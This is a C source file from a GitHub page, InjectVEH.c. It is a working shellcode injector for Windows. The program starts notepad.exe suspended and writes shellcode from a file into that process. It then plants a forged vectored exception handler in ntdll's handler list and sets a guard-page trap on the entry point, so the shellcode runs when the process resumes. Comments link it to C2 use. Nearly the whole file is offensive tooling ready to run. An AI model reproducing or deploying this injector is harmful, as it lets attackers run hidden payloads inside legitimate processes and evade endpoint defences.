-
Notifications
You must be signed in to change notification settings - Fork 13
/
Copy pathInjectVEH.c
566 lines (485 loc) · 17.7 KB
/
InjectVEH.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
#include <windows.h>
#include <stdio.h>
/*
Author: Josh Magri @passthehashbrwn
*/
LONG WINAPI dummyExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo);
BOOL GetNtdllSectionVa(char* sectionName, PVOID* sectionVa, DWORD* sectionSize);
PVOID findLdrpVectorHandlerList();
LPVOID EnableRemoteVEH(HANDLE hProcess);
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _CLIENT_ID
{
void* UniqueProcess;
void* UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
#define InitializeObjectAttributes(p, n, a, r, s) \
{ \
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
WORD LoadCount;
WORD TlsIndex;
union
{
LIST_ENTRY HashLinks;
struct
{
PVOID SectionPointer;
ULONG CheckSum;
};
};
union
{
ULONG TimeDateStamp;
PVOID LoadedImports;
};
LPVOID EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
typedef struct _PEB2
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BYTE BeingDebugged;
union
{
BOOLEAN BitField;
struct
{
BOOLEAN ImageUsesLargePages : 1;
BOOLEAN IsProtectedProcess : 1;
BOOLEAN IsImageDynamicallyRelocated : 1;
BOOLEAN SkipPatchingUser32Forwarders : 1;
BOOLEAN IsPackagedProcess : 1;
BOOLEAN IsAppContainer : 1;
BOOLEAN IsProtectedProcessLight : 1;
BOOLEAN IsLongPathAwareProcess : 1;
} s1;
} u1;
HANDLE Mutant;
PVOID ImageBaseAddress;
PLDR_DATA_TABLE_ENTRY Ldr;
void* ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PRTL_CRITICAL_SECTION FastPebLock;
PVOID AtlThunkSListPtr;
PVOID IFEOKey;
union
{
ULONG CrossProcessFlags;
struct
{
ULONG ProcessInJob : 1;
ULONG ProcessInitializing : 1;
ULONG ProcessUsingVEH : 1;
ULONG ProcessUsingVCH : 1;
ULONG ProcessUsingFTH : 1;
ULONG ProcessPreviouslyThrottled : 1;
ULONG ProcessCurrentlyThrottled : 1;
ULONG ReservedBits0 : 25;
} s2;
} u2;
union
{
PVOID KernelCallbackTable;
PVOID UserSharedInfoPtr;
} u3;
ULONG SystemReserved[1];
ULONG AtlThunkSListPtr32;
PVOID ApiSetMap;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[2];
PVOID ReadOnlySharedMemoryBase;
PVOID SharedData; // HotpatchInformation
PVOID* ReadOnlyStaticServerData;
PVOID AnsiCodePageData; // PCPTABLEINFO
PVOID OemCodePageData; // PCPTABLEINFO
PVOID UnicodeCaseTableData; // PNLSTABLEINFO
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
LARGE_INTEGER CriticalSectionTimeout;
SIZE_T HeapSegmentReserve;
SIZE_T HeapSegmentCommit;
SIZE_T HeapDeCommitTotalFreeThreshold;
SIZE_T HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID* ProcessHeaps; // PHEAP
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
ULONG GdiDCAttributeList;
PRTL_CRITICAL_SECTION LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
USHORT OSBuildNumber;
USHORT OSCSDVersion;
ULONG OSPlatformId;
ULONG ImageSubsystem;
ULONG ImageSubsystemMajorVersion;
ULONG ImageSubsystemMinorVersion;
ULONG_PTR ActiveProcessAffinityMask;
PVOID GdiHandleBuffer;
PVOID PostProcessInitRoutine;
PVOID TlsExpansionBitmap;
ULONG TlsExpansionBitmapBits[32];
ULONG SessionId;
ULARGE_INTEGER AppCompatFlags;
ULARGE_INTEGER AppCompatFlagsUser;
PVOID pShimData;
PVOID AppCompatInfo; // APPCOMPAT_EXE_DATA
LPVOID CSDVersion;
PVOID ActivationContextData; // ACTIVATION_CONTEXT_DATA
PVOID ProcessAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP
PVOID SystemDefaultActivationContextData; // ACTIVATION_CONTEXT_DATA
PVOID SystemAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP
SIZE_T MinimumStackCommit;
PVOID* FlsCallback;
LIST_ENTRY FlsListHead;
PVOID FlsBitmap;
ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)];
ULONG FlsHighIndex;
PVOID WerRegistrationData;
PVOID WerShipAssertPtr;
PVOID pUnused; // pContextData
PVOID pImageHeaderHash;
union
{
ULONG TracingFlags;
struct
{
ULONG HeapTracingEnabled : 1;
ULONG CritSecTracingEnabled : 1;
ULONG LibLoaderTracingEnabled : 1;
ULONG SpareTracingBits : 29;
} s3;
} u4;
ULONGLONG CsrServerReadOnlySharedMemoryBase;
PVOID TppWorkerpListLock;
LIST_ENTRY TppWorkerpList;
PVOID WaitOnAddressHashTable[128];
PVOID TelemetryCoverageHeader; // REDSTONE3
ULONG CloudFileFlags;
} PEB2, * PPEB2;
typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PPEB2 PebBaseAddress;
ULONG_PTR AffinityMask;
LPVOID BasePriority;
ULONG_PTR UniqueProcessId;
ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;
typedef struct _VECTXCPT_CALLOUT_ENTRY {
LIST_ENTRY ListEntry;
PVOID reserved;
int test;
PVECTORED_EXCEPTION_HANDLER VectoredHandler;
} VECTXCPT_CALLOUT_ENTRY, * PVECTXCPT_CALLOUT_ENTRY;
//Copied from ReactOS, add a new item to a double linked list
FORCEINLINE VOID InsertHeadList(_Inout_ PLIST_ENTRY ListHead,
_Inout_ PLIST_ENTRY Entry
)
{
PLIST_ENTRY OldFlink;
OldFlink = ListHead->Flink;
Entry->Flink = OldFlink;
Entry->Blink = ListHead;
OldFlink->Blink = Entry;
ListHead->Flink = Entry;
}
typedef NTSTATUS(NTAPI* pNtQueryInformationProcess)(IN HANDLE ProcessHandle, IN int ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength OPTIONAL);
typedef HRESULT(WINAPI* pRtlEncodeRemotePointer)(_In_ HANDLE ProcessToken, _In_opt_ PVOID Ptr, _Out_ PVOID* EncodedPtr);
//We just need this to register and find our VEH list
LONG WINAPI dummyExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo) {
return 0;
}
//Get address and size of a section within NTDLL
BOOL GetNtdllSectionVa(char* sectionName, PVOID* sectionVa, DWORD* sectionSize) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PIMAGE_DOS_HEADER ntdllDos = (PIMAGE_DOS_HEADER)hNtdll;
PIMAGE_NT_HEADERS ntdllNt = (PIMAGE_NT_HEADERS)((DWORD_PTR)hNtdll + ntdllDos->e_lfanew);
for (WORD i = 0; i < ntdllNt->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(ntdllNt) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
if (!strcmp((char*)sectionHeader->Name, sectionName)) {
*sectionVa = (PVOID)((ULONG_PTR)hNtdll + sectionHeader->VirtualAddress);
*sectionSize = sectionHeader->Misc.VirtualSize;
}
}
return TRUE;
}
//Taken from here: https://github.com/rad9800/misc/blob/main/bypasses/ClearVeh.c
PVOID findLdrpVectorHandlerList()
{
BOOL found = FALSE;
// Register a fake handler
PVOID dummyHandler = AddVectoredExceptionHandler(0, &dummyExceptionHandler);
if (dummyHandler == NULL)
return NULL;
PLIST_ENTRY next = ((PLIST_ENTRY)dummyHandler)->Flink;
PVOID sectionVa;
DWORD sectionSz;
// LdrpVectorHandlerList will be found in the .data section of NTDLL.dll
if (GetNtdllSectionVa(".data", §ionVa, §ionSz))
{
while ((PVOID)next != dummyHandler)
{
if ((PVOID)next >= sectionVa && (PVOID)next <= (PVOID)((ULONG_PTR)sectionVa + sectionSz)) {
break;
}
if ((PVOID)next >= sectionVa && (PVOID)next <= (PVOID*)sectionVa + sectionSz)
{
found = TRUE;
break;
}
next = next->Flink;
}
}
// Cleanup after ourselves..
RemoveVectoredExceptionHandler(dummyHandler);
return found ? next : NULL;
}
//Enable the ProcessUsingVEH bit in the CrossProcessFlags member of the remote process PEB
//Returns the ImageBaseAddress if successful
LPVOID EnableRemoteVEH(HANDLE hProcess) {
//Get the base address of the PEB in the remote process
pNtQueryInformationProcess _NtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");
PROCESS_BASIC_INFORMATION processInfo = { 0 };
DWORD returnLength = 0;
_NtQueryInformationProcess(hProcess, 0, &processInfo, sizeof(processInfo), &returnLength);
//Read the PEB from the remote process
DWORD64 CrossProcessFlags = 0;
DWORD dwBytesRead;
PEB2 peb_copy;
BOOL k32Success;
k32Success = ReadProcessMemory(hProcess, processInfo.PebBaseAddress, &peb_copy, sizeof(PEB2), NULL);
if (!k32Success) {
printf("[-] Failed to read remote PEB: %d\n", GetLastError());
return NULL;
}
//Enable VEH in our local copy and write it to the remote process
peb_copy.u2.CrossProcessFlags = 0x4;
k32Success = WriteProcessMemory(hProcess, processInfo.PebBaseAddress, &peb_copy, sizeof(PEB2), NULL);
if (!k32Success) {
printf("[-] Failed to enable VEH in remote PEB: %d\n", GetLastError());
return NULL;
}
//Reread the remote PEB to ensure that we did enable VEH, you can remove this check if you'd like
dwBytesRead = 0;
k32Success = ReadProcessMemory(hProcess, processInfo.PebBaseAddress, &peb_copy, sizeof(PEB2), NULL);
if (!k32Success) {
printf("[-] Failed to reread remote PEB: %d\n", GetLastError());
return NULL;
}
if (peb_copy.u2.CrossProcessFlags & 0x4) {
printf("Enabled VEH in the remote process!\n");
return peb_copy.ImageBaseAddress;
}
else {
printf("[-] Failed to enable VEH in the remote process\n");
}
return NULL;
}
//We will do all of the work for injecting shellcode in our main function here
void main() {
DWORD oldProtect = 0;
BOOL k32Success;
HRESULT ntSuccess;
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
// Start the child process.
if (!CreateProcessA(NULL,
"C:\\Windows\\System32\\notepad.exe",
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi)
);
HANDLE hProcess = pi.hProcess;
HANDLE hThread = pi.hThread;
//This whole block of code is just for reading your shellcode, in a C2 you're likely getting this from your command
SIZE_T shellcodeSize;
LPVOID shellcode;
DWORD dwBytesRead = 0;
HANDLE hFile = CreateFileA(PATH_TO_YOUR_SHELLCODE, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
shellcodeSize = GetFileSize(hFile, NULL);
shellcode = HeapAlloc(GetProcessHeap(), 0, shellcodeSize);
ReadFile(hFile, shellcode, shellcodeSize, &dwBytesRead, NULL);
//End shellcode reading
DWORD sectionSize;
PVOID sectionVa;
GetNtdllSectionVa(".mrdata", §ionVa, §ionSize);
//Get the address of the Vectored Handler List in our local process, since it should be the same in the remote process
PVOID LdrpVectoredHandlerList = findLdrpVectorHandlerList();
//Enable the remote VEH, this will also return the imageBaseAddress value from the PEB
LPVOID imageBaseAddress = EnableRemoteVEH(hProcess);
//Allocate our shellcode in the remote process
LPVOID shellcodeAddress = NULL;
shellcodeAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (shellcodeAddress == NULL) {
printf("[-] Failed to allocate memory for shellcode in the remote process: %d\n", GetLastError());
goto CLEANUP;
}
else {
printf("[*] Remote shellcode address: %p\n", shellcodeAddress);
}
//Encode the pointer to our shellcode in the context of the remote process
//You can do this by manually retrieving the remote process cookie and doing some bitwise math, but RtlEncodeRemotePointer just wraps that for you
PVOID encodedShellcodePointer = malloc(sizeof(PVOID));
pRtlEncodeRemotePointer _RtlEncodeRemotePointer = (pRtlEncodeRemotePointer)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlEncodeRemotePointer");
ntSuccess = _RtlEncodeRemotePointer(hProcess, shellcodeAddress, &encodedShellcodePointer);
//Allocate our VEH and set the pointer to our encoded pointer
PVECTXCPT_CALLOUT_ENTRY maliciousHandler = HeapAlloc(GetProcessHeap(), 0, sizeof(VECTXCPT_CALLOUT_ENTRY));
maliciousHandler->VectoredHandler = encodedShellcodePointer;
//Write and protect our shellcode in the remote process
k32Success = WriteProcessMemory(hProcess, shellcodeAddress, shellcode, shellcodeSize, NULL);
if (!k32Success) {
printf("[-] Failed to write shellcode to remote process: %d\n", GetLastError());
goto CLEANUP;
}
k32Success = VirtualProtectEx(hProcess, shellcodeAddress, shellcodeSize, PAGE_EXECUTE_READ, &oldProtect);
if (!k32Success) {
printf("[-] Failed to protect shellcode in remote process: %d\n", GetLastError());
goto CLEANUP;
}
//Read the LdrpVectoredHandlerList from the remote process
//For a suspended process this shouldn't have any entries in it
PLIST_ENTRY firstEntry = malloc(sizeof(LIST_ENTRY));
k32Success = ReadProcessMemory(hProcess, LdrpVectoredHandlerList, firstEntry, sizeof(LIST_ENTRY), NULL);
if (!k32Success) {
printf("[-] Failed to read remote LdrpVectoredHandlerList: %d\n", GetLastError());
goto CLEANUP;
}
//Set our malicious handler so that the Flink/Blink point to the remote VEH ListHead
((PLIST_ENTRY)maliciousHandler)->Flink = firstEntry->Flink;
((PLIST_ENTRY)maliciousHandler)->Blink = firstEntry->Blink;
//Allocate a ref value in the remote process and set it to a valid value
PVOID refAddress = NULL;
refAddress = VirtualAllocEx(hProcess, NULL, sizeof(ULONG), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (refAddress == NULL) {
printf("[-] Failed to allocate ref in the remote process: %d\n", GetLastError());
goto CLEANUP;
}
ULONG ref = 1;
k32Success = WriteProcessMemory(hProcess, refAddress, &ref, sizeof(ULONG), NULL);
if (!k32Success) {
printf("[-] Failed to write ref into the remote process: %d\n", GetLastError());
goto CLEANUP;
}
//Update our local VEH with the address
maliciousHandler->reserved = refAddress;
//Write our local VEH into the remote process
PVOID remoteHandlerAddress = NULL;
SIZE_T calloutSize = sizeof(VECTXCPT_CALLOUT_ENTRY);
remoteHandlerAddress = VirtualAllocEx(hProcess, NULL, calloutSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (remoteHandlerAddress == NULL) {
printf("[-] Failed to allocate handler in remote process: %d\n", GetLastError());
goto CLEANUP;
}
k32Success = WriteProcessMemory(hProcess, remoteHandlerAddress, maliciousHandler, calloutSize, NULL);
if (!k32Success) {
printf("[-] Failed to write handler into remote process: %d\n", GetLastError());
goto CLEANUP;
}
//Change our copied LIST_HEAD for the remote process to point at our new remote handler
firstEntry->Blink = remoteHandlerAddress;
firstEntry->Flink = remoteHandlerAddress;
//Unprotect the .mrdata section, write the VEH list in the remote process, and reprotect .mrdata
k32Success = VirtualProtectEx(hProcess, sectionVa, sectionSize, PAGE_READWRITE, &oldProtect);
if (!k32Success) {
printf("[-] Failed to unprotect remote .mrdata section: %d\n", GetLastError());
goto CLEANUP;
}
k32Success = WriteProcessMemory(hProcess, LdrpVectoredHandlerList, firstEntry, sizeof(LIST_ENTRY), NULL);
if (!k32Success) {
printf("[-] Failed to write LIST_HEAD into remote process: %d\n", GetLastError());
goto CLEANUP;
}
k32Success = VirtualProtectEx(hProcess, sectionVa, sectionSize, oldProtect, &oldProtect);
if (!k32Success) {
printf("[-] Failed to reprotect remote .mrdata section: %d\n", GetLastError());
goto CLEANUP;
}
//Read the remote image to calculate the entrypoint for the process, using the imageBaseAddress we got from the PEB earlier
IMAGE_DOS_HEADER* remoteDosHeader = HeapAlloc(GetProcessHeap(), 0, sizeof(IMAGE_DOS_HEADER));
k32Success = ReadProcessMemory(hProcess, imageBaseAddress, remoteDosHeader, sizeof(IMAGE_DOS_HEADER), NULL);
if (!k32Success) {
printf("[-] Failed to read the DOS header for remote image: %d\n", GetLastError());
goto CLEANUP;
}
//Calculate the entrypoint for the remote process
IMAGE_NT_HEADERS* remoteNtHeaders = HeapAlloc(GetProcessHeap(), 0, sizeof(remoteNtHeaders));
k32Success = ReadProcessMemory(hProcess, ((ULONG_PTR)imageBaseAddress + remoteDosHeader->e_lfanew), remoteNtHeaders, sizeof(IMAGE_NT_HEADERS), NULL);
if (!k32Success) {
printf("[-] Failed to read the NT header for remote image: %d\n", GetLastError());
goto CLEANUP;
}
LPVOID entrypointAddress = remoteNtHeaders->OptionalHeader.AddressOfEntryPoint;
LPVOID processEntryPoint = (ULONG_PTR)entrypointAddress + (ULONG_PTR)imageBaseAddress;
//The memory protection for the remote .text section should always be RX but we'll query just to be sure
PMEMORY_BASIC_INFORMATION memoryInfo = malloc(sizeof(MEMORY_BASIC_INFORMATION));
k32Success = VirtualQueryEx(hProcess, processEntryPoint, memoryInfo, sizeof(MEMORY_BASIC_INFORMATION));
if (!k32Success) {
printf("[-] Failed to query memory protection for remote process entrypoint: %d\n", GetLastError());
goto CLEANUP;
}
//Set a PAGE_GUARD trap on the remote process entrypoint
k32Success = VirtualProtectEx(hProcess, processEntryPoint, 1, memoryInfo->Protect | PAGE_GUARD, &oldProtect);
if (!k32Success) {
printf("[-] Failed to set PAGE_GUARD protection on remote process entrypoint: %d\n", GetLastError());
goto CLEANUP;
}
printf("[+] Set PAGE_GUARD trap at: %p\n", processEntryPoint);
//Resume the suspended process, which should cause our shellcode to execution
k32Success = ResumeThread(hThread);
if (!k32Success) {
printf("[-] Failed to resume main thread of remote process: %d\n", GetLastError());
goto CLEANUP;
}
printf("[+] Your shellcode should now be executing in the remote process.\n");
return;
//If anything goes wrong, terminate spawned process and exit
CLEANUP:
TerminateProcess(hProcess, 0);
return;
}